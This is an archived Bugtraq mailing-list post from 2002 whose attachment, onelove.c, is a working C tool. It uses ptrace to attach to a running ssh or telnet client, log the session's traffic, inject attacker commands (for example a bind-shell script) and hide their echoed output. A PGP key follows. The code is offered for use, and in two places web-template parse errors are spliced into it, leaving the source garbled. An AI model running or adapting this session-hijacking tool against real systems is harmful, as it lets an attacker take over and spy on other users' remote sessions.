80156 2002-10-04  23:55  /5 rader/ xenion <xenion@acidlife.com>
Importerad: 2002-10-04  23:55  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1803>
Ärende: injecting commands on a ptraced telnet/ssh session
------------------------------------------------------------
proof of concept code demostrating how we can inject commands on a
ptraced  telnet/ssh session, have fun.

[ xenion@acidlife.com ][ http://www.acidlife.com/mayhem/tba/ ]
(80156) /xenion <xenion@acidlife.com>/----(Ombruten)
Bilaga (text/x-csrc) i text 80157
Bilaga (application/pgp-keys) i text 80158
80157 2002-10-04  23:55  /628 rader/ xenion <xenion@acidlife.com>
Bilagans filnamn: "onelove.c"
Importerad: 2002-10-04  23:55  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1804>
Bilaga (text/plain) till text 80156
Ärende: Bilaga (onelove.c) till: injecting commands on a ptraced telnet/ssh session
------------------------------------------------------------
/*
 *
 * $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
 *
 * ---------------------------------------------------------------------------
 * No part of this project may be used to break the law, or to cause damage of
 * any kind. And I'm not responsible for anything you do with it.
 * ---------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
 * <xenion@acidlife.com> wrote this file.  As long as you retain this notice
 * you can do whatever you want with this stuff. If we meet some day, and you
 * think this stuff is worth it, you can buy me a beer in return.
 * xenion ~ Dallachiesa Michele
 * ---------------------------------------------------------------------------
 *
 * This is proof of concept code demostrating how we can inject commands 
 * on a ptraced telnet/ssh session.
 *
 * ---------------------------------------------------------------------------
 *
 *
 * EXAMPLES
 *
 * ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
 * 
 *      attach pid 2418, 
 *      enable ssh fd(s), 
 *      use _boxinfo for commands, 
 *      log to file,
 *      log to stdout (without -l ignored), 
 *      enable echo hiding.
 * 
 * ./onelove -p3953 -1 -c _bindshell -e
 * 
 *      attach pid 3953,
 *      enable telnet fd(s),
 *      use _bindshell for commands,
 *      enable echo hiding.
 *
 *
 * LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
 *
 * ssh   : 16384 
 * telnet: 8192 
 * BitchX: 2048 
 *
 *
 * GREETZ
 *
 * Dark-Angel, my friends.. you know who you are.
 *
 */


#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/stat.h>


#define WORD_SIZE 4
#define BUFLEN 4096
#define CMDLEN 4096
#define VERSION "0.4"

/*
 * PTRACE states 
 */
#define PTRACE_NOT_ATTACHED 0	/* not yet attached */
#define PTRACE_STOP1        1	/* first stop */
#define PTRACE_STOP2        2	/* second stop */
#define PTRACE_DONE         3	/* we've finished our work */

/*
 * INJECT states 
 */
#define INJECT_NOTH       0	/* nothing to do, just do nothing */
#define INJECT_TODO       1	/* we've to inject our commands */
#define INJECT_HIDE       2	/* now we've to hide the output */

/*
 * ssh/telnet fd(s) 
 */
#define READ_FD_SSH     4
#define WRITE_FD_SSH    5
#define READ_FD_TELNET  0
#define WRITE_FD_TELNET 1

#define LOG(arg...) {          \
   fprintf(o.log, "## ");      \
   fprintf(o.log, ## arg);     \
   fflush(o.log);              \
   if(o.stdout) {              \
     fprintf(stdout, "## ");   \
     fprintf(stdout, ## arg);  \
     fflush(stdout);           \
     }                         \
   }

#define LOG_WRITE(arg...) {    \
   fwrite(## arg, o.log);      \
   fflush(o.log);              \
   if(o.stdout) {              \
     fwrite(## arg, stdout);   \
     fflush(stdout);           \
     }                         \
   }


// 'x' viene approssimato per eccesso ad un multiplo di 'y'
#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)

// 'x' viene approssimato per difetto ad un multiplo di 'y'
#define LEN_OK(x, y) (##x-(##x % ##y))

#define IS_SYSCALL_AND_FD(x) \
   (data.orig_eax == __NR_##x && data.ebx == o.fd_##x)

#define SIG_NAME(x) x == SIGURG  ? "SIGURG"  : \
                    x == SIGPIPE ? "SIGPIPE" : \
                    x == SIGQUIT ? "SIGQUIT" : \
                    x == SIGINT  ? "SIGINT"  : \
                    x == SIGTERM ? "SIGTERM" : \
                    x == SIGHUP  ? "SIGHUP"  : \
                    x == SIGSEGV ? "SIGSEGV" : \
                    x == SIGBUS  ? "SIGBUS"  : "UNKNOWN"

#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ?       \
                         (o.fd_write == WRITE_FD_SSH ?    \
                         "(ssh)" : "") :                  \
                         o.fd_read == READ_FD_TELNET ?    \
                         (o.fd_write == WRITE_FD_TELNET ? \
                         "(telnet)" : "") : ""


void            fatal(char *, ...);
void            init_opt(int, char **);
void            help();
void            sigdie(int);
int             memread(pid_t, unsigned char *, unsigned char *, long,
			long);
int             memwrite(pid_t, unsigned char *, unsigned char *, long,
			 long);
int             dataonstdin();
unsigned char  *memem(unsigned char *, unsigned char *, size_t, size_t);


typedef struct {
    pid_t           pid;
    int             status,
                    mode,
                    inject,
                    echo,
                    cmdlen,
                    fd_read,
                    fd_write,
                    stdout;
    unsigned char   cmd[CMDLEN];
    FILE           *log;
} OPT;


OPT             o;


int
main(int argc, char **argv)
{
    struct user_regs_struct data;
    unsigned char   buf[BUFLEN];
    int             z;
    long            edx_write_backup;

    o.mode = PTRACE_NOT_ATTACHED;

    init_opt(argc, argv);

    LOG("pid         : %d\n", getpid());
    LOG("ptraced pid : %d\n", o.pid);
    LOG("echo        : %s\n", o.echo ? "YES" : "NO");
    LOG("fds         : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
	FD_SSH_OR_TELNET);
    LOG("\n");

    signal(SIGTERM, sigdie);
    signal(SIGINT, sigdie);
    signal(SIGQUIT, sigdie);
    signal(SIGHUP, sigdie);
    signal(SIGSEGV, sigdie);
    signal(SIGURG, SIG_IGN);

    if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
	fatal("ptrace(PTRACE_ATTACH, ...) failed");

    LOG("Attached! Now I'll display the session I/O. When you're\n");
    LOG("sure the user can run commands, press ENTER and wait.\n");
    LOG("\n");

    o.mode = PTRACE_STOP1;
    o.inject = INJECT_NOTH;

    wait(NULL);

    while (o.mode != PTRACE_DONE) {

	if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
	    fatal("ptrace(PTRACE_SYSCALL ...) failed");

	wait(
RXML parse error: Unknown scope "o".
 | &o.status);
if (WSTOPSIG(o.status) != SIGTRAP) { LOG("Sending signal %d\n", WSTOPSIG(o.status)); ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status)); } if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_GETREGS ...) failed"); switch (o.mode) { case PTRACE_STOP1: if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) { z = memread(o.pid, buf, (unsigned char *) data.ecx, data.edx, sizeof buf); edx_write_backup = data.edx; data.edx = 0; if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_SETREGS ...) failed"); if (z < 0) { LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup); } else LOG_WRITE(buf, 1, data.edx); } o.mode = PTRACE_STOP2; break; case PTRACE_STOP2: if (dataonstdin()) { read(0, buf, sizeof buf); if (*buf == 'q') fatal("Aborted"); if (o.inject == INJECT_NOTH) { o.inject = INJECT_TODO; LOG("\n"); LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n"); LOG("where I'll inject the commands..\n"); LOG("\n"); } if (o.inject == INJECT_HIDE) { LOG("Done, exiting..\n"); o.inject = INJECT_NOTH; o.mode = PTRACE_DONE; LOG("\n"); LOG("Done.\n"); break; } } if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) { /* * restoring the count of bytes to send */ data.eax = edx_write_backup; if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_SETREGS ...) failed"); } if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) { z = memread(o.pid, buf, (unsigned char *) data.ecx, data.eax, sizeof buf); if (z < 0) { LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax); o.mode = PTRACE_STOP1; break; } LOG_WRITE(buf, 1, data.eax); if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) { if (buf[data.eax - 1] == '\r' || buf[data.eax - 1] == '\n') { LOG("Injecting commands\n"); z = memwrite(o.pid, (unsigned char *) (data.ecx + data.eax), o.cmd, o.cmdlen, sizeof o.cmd); if (z < 0) fatal("memwrite( ...) failed"); data.eax += o.cmdlen; if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_SETREGS ...) failed"); if (!o.echo) { LOG("Done.\n"); o.mode = PTRACE_DONE; break; } else { o.inject = INJECT_HIDE; LOG("Done.\n"); LOG("I'll hide all write(2)s untill you press ENTER\n"); LOG("\n"); } } } } o.mode = PTRACE_STOP1; break; default: fatal("Oops"); break; } } LOG("Detaching process\n"); if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) { LOG("ptrace(PTRACE_DETACH ...) failed\n"); } else LOG("Ok, you're safe this time ;)\n\n"); return 0; } void init_opt(int argc, char **argv) { int c; FILE *f; o.echo = 0; o.pid = 0; o.fd_read = o.fd_write = -1; o.cmdlen = -1; o.log = stdout; o.stdout = 0; while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF) switch (c) { case 'p': o.pid = atoi(optarg); break; case 'r': o.fd_read = atoi(optarg); break; case 'w': o.fd_write = atoi(optarg); break; case '0': o.fd_read = READ_FD_SSH; o.fd_write = WRITE_FD_SSH; break; case '1': o.fd_read = READ_FD_TELNET; o.fd_write = WRITE_FD_TELNET; break; case 'l': o.log = fopen(optarg, "a+"); if (o.log == NULL) fatal("unable to open log file"); break; case '+': o.stdout = 1; break; case 'c': f = fopen(optarg, "r"); if (f == NULL) fatal("unable to open cmd file"); o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f); if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0) fatal("cmdfile broken"); fclose(f); break; case 'e': o.echo = 1; break; case 'h': help(); break; default: fatal("try -h"); } if (o.pid == 0) fatal("pid needed"); if (o.fd_read == -1 || o.fd_write == -1) fatal("r/w fd(s) needed"); switch (o.cmdlen) { case -1: fatal("cmd file needed"); case 0: fatal("cmd file broken"); } if (o.log == stdout) o.stdout = 0; } void fatal(char *pattern, ...) { va_list ap; va_start(ap, pattern); fprintf(o.log, "** "); vfprintf(o.log, pattern, ap); fprintf(o.log, "; exit forced.\n"); va_end(ap); if (o.pid == 0) { fclose(o.log); exit(1); } sigdie(SIGTERM); } void help() { printf ("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n", VERSION); printf("USAGE: onelove [options]\n\n"); printf("-p pid (ssh|telnet) pid\n"); printf ("-0 default fd(s) for ssh (r:%d,w:%d)\n", READ_FD_SSH, WRITE_FD_SSH); printf ("-1 default fd(s) for telnet (r:%d,w:%d)\n", READ_FD_TELNET, WRITE_FD_TELNET); printf("-r fd read(2) fd\n"); printf("-w fd write(2) fd\n"); printf("-c file cmdfile\n"); printf("-l file logfile\n"); printf ("-+ log to stdout (without -l ignored)\n"); printf("-e enable echo hiding\n\n"); exit(0); } void sigdie(int signo) { int pid; LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo); if (o.mode != PTRACE_NOT_ATTACHED) { switch (pid = fork()) { case -1: fatal("fork()"); break; case 0: /* child process starts */ LOG("Sending a SIGCONT signal to the ptraced process\n"); if (kill(o.pid, SIGCONT) < 0) { o.pid = 0; fatal("kill()"); } break; default: /* parent process starts */ wait(
RXML parse error: Unknown scope "o".
 | &o.status);
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) LOG("ptrace(PTRACE_DETACH ...) failed\n"); LOG("exited: %s\n", strerror(errno)); break; } } fclose(o.log); exit(0); } int memread(pid_t pid, unsigned char *dest, unsigned char *src, long count, long len) { long off; long res; if (count < 0 || len < 0) return (-1); count = COUNT_OK(count, WORD_SIZE); len = LEN_OK(len, WORD_SIZE); if (len < count) return -1; for (off = 0; off < count; off += WORD_SIZE) { res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0); if (errno > 0) return -1; else memcpy(dest + off, &res, WORD_SIZE); } return count; } int memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count, long len) { long off; long res; if (count < 0 || len < 0) return (-1); count = COUNT_OK(count, WORD_SIZE); len = LEN_OK(len, WORD_SIZE); if (len < count) return -1; for (off = 0; off < count; off += WORD_SIZE) { memcpy(&res, src + off, WORD_SIZE); if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0) return -1; } return count; } int dataonstdin() { fd_set rfds; struct timeval tv; int retval; FD_ZERO(&rfds); FD_SET(0, &rfds); tv.tv_sec = tv.tv_usec = 0; retval = select(1, &rfds, NULL, NULL, &tv); if (retval) return 1; else return 0; } unsigned char * memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1) { size_t i, j; int found; if (len1 > len0) return NULL; for (i = 0; i < len0; ++i) { if (buf0[i] == buf1[0]) { found = 1; for (j = 1; j + i < len0 && j < len1; ++j) if (buf0[i + j] != buf1[j]) found = 0; if (found) return &buf0[i]; } } return (NULL); } /* * EOF */ (80157) /xenion <xenion@acidlife.com>/----(Ombruten) 80158 2002-10-04 23:55 /35 rader/ xenion <xenion@acidlife.com> Bilagans filnamn: "PGP key 0xBE1CF7AA" Importerad: 2002-10-04 23:55 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1805> Bilaga (text/plain) till text 80156 Ärende: Bilaga (PGP key 0xBE1CF7AA) till: injecting commands on a ptraced telnet/ssh session ------------------------------------------------------------ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 6.5.8 mQGiBD1d9AYRBADH+NM0R/hRN6vK7dGyF2qdvlyxNpmb3kbxcWjx9Nk8P77OFNfr f4GcLvL+h+Lhdl8WzWulKEW3HHR26bMcTottC4/VVg1oGBZMWnetn0XG4sONC8Ha vekyC4TM4K6wA8Cn+PJha+9sFsW2hN1TZiXv55LVmEvjJjVwLjkMUWvEGQCg/79/ 3PLf0DjENtInSlBiyax+3UcD/A55fgmkHVSlK11o9gj9E+PcAiaR7skTgsQLXJUh m1famx7sUDBxPZ8rAqBRGZTpHPb2/TgFSvgvtzZVPBIJQc7xpqpy1nGyPz1eV+tE AKeFaD5jIQh5/gpZo+LjViFPgPVQpsObhYbYJMTMGwoCEZtkRIlTXTZ6WNBtWFUs 7xCZBACUABIL/aFg0WKL51cytnpxR7in5SHvPpm8NzkDF1kj7V6n1j59r76ufPww d0Im5dECA1q7FSEp1HoAy0c1guVZUVfjVpgPJvBB5SRWtU1Te+CXzDNZj8s09mZ1 DgTA6MoJBzx5x/oVSbmzvM2Oroju8EppK+6JcijbpTLLyZGEXbQceGVuaW9uIDx4 ZW5pb25AYWNpZGxpZmUuY29tPokATgQQEQIADgUCPV30BgQLAwECAhkBAAoJECCm 09y+HPeq1qsAnjJb80LCHuO1v7dGh+YMZMIt7u1WAJ4gROfIAzQY8UphcXTZC0tH GvfGebkDDQQ9XfQIEAwAzB13VyQ4SuLE8OiOE2eXTpITYfbb6yUOF/32mPfIfHmw ch04dfv2wXPEgxEmK0Ngw+Po1gr9oSgmC66prrNlD6IAUwGgfNaroxIe+g8qzh90 hE/K8xfzpEDp19J3tkItAjbBJstoXp18mAkKjX4t7eRdefXUkk+bGI78KqdLfDL2 Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33 TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBh znzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmsz bDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1 Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9 iUsiGSa6q6Jew1XpTDJvAAICDACSye6LbvifPL0gqf5xZzmKTv+7Tq5wuLcboong 266uDCa5aD5PiX4P5OW4aqLokRN+d6TxXaPC1NG9p45JSYWyp6emUeH0Pon4vLzN M3dLrwBWPIZjaBtX47MO4ieGASSP6diktlOFEBqI27gZtSe1jZprmC58nWf/UMUk i8UFpdO4RL+Bfabj5qMnrg6/IX5O4k8QoVwlmbPLuhsgKow8TneTgobvB14bRj// G5p5Myite9pFUxrwvrjq8J4BfGOnI7tHVEIO3RzaMoloUes7sK9n1gKLN1B6YDS3 GddZD3ijwzU6GixO24h0QX00n7ATgPbbp9/ugrsQJmWsfS0CCMOZOifR8XIICHlc tWw4kFdlAE7IygL9V2Rp9PEVtdsn9HE4l6FOPz/LN785c62IympAaV6h4KyTXUww 3mWIOrc1N7YgTDAc6d4m4B8sq5PVGmOHYxx9NJObE5kG376W+JdYDWccF3yg2yCN yugLrKMXmt2FpLZoxzIRUIY5+4iJAEYEGBECAAYFAj1d9AgACgkQIKbT3L4c96pJ 9ACg/tPW4i5UTiE7J87eyQWJoCuQHjYAoLeqDvcZNg0AXZDyKM4UKYTB+TIC =ism1 -----END PGP PUBLIC KEY BLOCK----- (80158) /xenion <xenion@acidlife.com>/--------------